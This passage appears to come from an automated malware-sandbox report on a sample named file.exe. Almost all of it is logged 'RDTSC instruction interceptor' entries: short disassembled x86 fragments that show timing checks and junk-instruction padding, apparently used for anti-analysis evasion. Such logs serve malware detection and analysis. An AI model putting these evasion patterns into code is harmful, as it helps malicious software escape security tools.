0x00000092 pushad 0x00000093 push eax 0x00000094 push edx 0x00000095 jmp 00007FB12C899C47h 0x0000009a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34ED37 second address: 34ED45 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB12C89D956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34ED45 second address: 34ED49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34ED49 second address: 34ED4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34ED4D second address: 34ED6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FB12C899C45h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34ED6F second address: 34ED73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C68FA second address: 4C690B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007FB12C899C36h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C690B second address: 4C690F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C690F second address: 4C6913 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6913 second address: 4C692B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FB12C89D95Ch 0x0000000c jnp 00007FB12C89D956h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C692B second address: 4C6931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6931 second address: 4C6942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a jng 00007FB12C89D956h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5A22 second address: 4C5A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FB12C899C36h 0x0000000a pop ecx 0x0000000b js 00007FB12C899C38h 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5A38 second address: 4C5A44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB12C89D956h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5CD3 second address: 4C5CD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C872A second address: 4C872F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C872F second address: 4C875C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FB12C899C47h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jbe 00007FB12C899C44h 0x00000017 push eax 0x00000018 push edx 0x00000019 push edi 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C875C second address: 4C8760 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C888E second address: 4C88AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB12C899C48h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C89B1 second address: 4C89BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FB12C89D956h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C89BC second address: 4C89C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C89C2 second address: 4C89C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C89C6 second address: 4C89E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB12C899C47h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8AB0 second address: 4C8ABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB12C89D956h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8B63 second address: 4C8B6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8B6C second address: 4C8B70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8B70 second address: 4C8BD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 751C801Bh 0x0000000e call 00007FB12C899C3Bh 0x00000013 mov edx, dword ptr [ebp+122D2B65h] 0x00000019 pop ecx 0x0000001a push 00000003h 0x0000001c mov dword ptr [ebp+122D2B3Bh], esi 0x00000022 mov esi, 6243ED91h 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ebx 0x0000002c call 00007FB12C899C38h 0x00000031 pop ebx 0x00000032 mov dword ptr [esp+04h], ebx 0x00000036 add dword ptr [esp+04h], 00000016h 0x0000003e inc ebx 0x0000003f push ebx 0x00000040 ret 0x00000041 pop ebx 0x00000042 ret 0x00000043 push 00000003h 0x00000045 mov dword ptr [ebp+122D2133h], eax 0x0000004b push 4A1F7CAEh 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007FB12C899C3Ch 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8BD9 second address: 4C8BDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EAF1A second address: 4EAF52 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jl 00007FB12C899C36h 0x0000000f jmp 00007FB12C899C3Ah 0x00000014 jne 00007FB12C899C36h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FB12C899C40h 0x00000022 jp 00007FB12C899C36h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8FAB second address: 4E8FB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90FD second address: 4E9101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9101 second address: 4E9113 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C89D95Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9113 second address: 4E912D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FB12C899C3Fh 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E96F3 second address: 4E96FD instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB12C89D95Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E96FD second address: 4E970E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jnl 00007FB12C899C36h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E970E second address: 4E972A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jo 00007FB12C89D968h 0x0000000e jmp 00007FB12C89D95Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9A0E second address: 4E9A4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C899C3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FB12C899C46h 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 jnl 00007FB12C899C36h 0x00000017 pop eax 0x00000018 popad 0x00000019 jns 00007FB12C899C61h 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9A4B second address: 4E9A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9B9B second address: 4E9BA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9BA1 second address: 4E9BD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C89D962h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop edi 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB12C89D965h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9BD4 second address: 4E9C01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB12C899C49h 0x00000008 je 00007FB12C899C36h 0x0000000e jg 00007FB12C899C36h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9D7C second address: 4E9D82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9D82 second address: 4E9D86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9D86 second address: 4E9D94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C89D95Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9D94 second address: 4E9DA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jnl 00007FB12C899C36h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA69A second address: 4EA6A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA6A0 second address: 4EA6BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB12C899C3Dh 0x0000000c je 00007FB12C899C36h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA6BA second address: 4EA6C0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA6C0 second address: 4EA6C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA6C6 second address: 4EA6CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA920 second address: 4EA92A instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB12C899C36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA92A second address: 4EA933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA933 second address: 4EA943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 jnc 00007FB12C899C36h 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA943 second address: 4EA94D instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB12C89D95Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EAAAB second address: 4EAAB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EAAB1 second address: 4EAAB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EAAB7 second address: 4EAAD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jg 00007FB12C899C80h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB12C899C41h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EAAD8 second address: 4EAADC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EAADC second address: 4EAAEA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB12C899C36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EAAEA second address: 4EAB07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C89D969h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EADA7 second address: 4EADB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EADB4 second address: 4EADC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C89D95Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE28B second address: 4EE290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE92B second address: 4EE935 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB12C89D95Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F704F second address: 4F705E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jo 00007FB12C899C36h 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F705E second address: 4F7080 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB12C89D95Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB12C89D95Eh 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7080 second address: 4F7099 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB12C899C36h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007FB12C899C36h 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7099 second address: 4F70AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C89D95Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70AC second address: 4F70B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F67A8 second address: 4F67B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F67B1 second address: 4F67B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6B9C second address: 4F6BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FB12C89D966h 0x0000000a jl 00007FB12C89D971h 0x00000010 jmp 00007FB12C89D965h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6BD4 second address: 4F6BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 ja 00007FB12C899C36h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6EB5 second address: 4F6ECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FB12C89D956h 0x0000000a jmp 00007FB12C89D95Fh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F99DC second address: 4F99E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9B6A second address: 4F9B6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9B6F second address: 4F9B91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB12C899C41h 0x00000008 jp 00007FB12C899C36h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9D71 second address: 4F9D75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9D75 second address: 4F9D7F instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB12C899C36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9E5C second address: 4F9E60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA417 second address: 4FA41B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA41B second address: 4FA421 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA421 second address: 4FA427 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA427 second address: 4FA42B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA9E4 second address: 4FAA33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007FB12C899C38h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 movsx esi, si 0x0000002a xchg eax, ebx 0x0000002b jmp 00007FB12C899C43h 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FAFAF second address: 4FAFB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FCADC second address: 4FCB34 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jg 00007FB12C899C36h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f adc si, 7FBBh 0x00000014 push 00000000h 0x00000016 mov edi, edx 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007FB12C899C38h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 00000017h 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 xor dword ptr [ebp+1247B673h], eax 0x0000003a xchg eax, ebx 0x0000003b push ebx 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FB12C899C45h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE097 second address: 4FE0A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FB12C89D956h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FDE47 second address: 4FDE4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FE989 second address: 4FE993 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB12C89D956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF5C4 second address: 4FF63E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 jno 00007FB12C899C47h 0x0000000c nop 0x0000000d or dword ptr [ebp+12467D20h], ebx 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007FB12C899C38h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f pushad 0x00000030 call 00007FB12C899C46h 0x00000035 sbb ecx, 6CE35652h 0x0000003b pop edx 0x0000003c add esi, dword ptr [ebp+122D2C85h] 0x00000042 popad 0x00000043 push 00000000h 0x00000045 mov si, di 0x00000048 push eax 0x00000049 push esi 0x0000004a pushad 0x0000004b push ecx 0x0000004c pop ecx 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50008B second address: 50008F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500104 second address: 500108 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
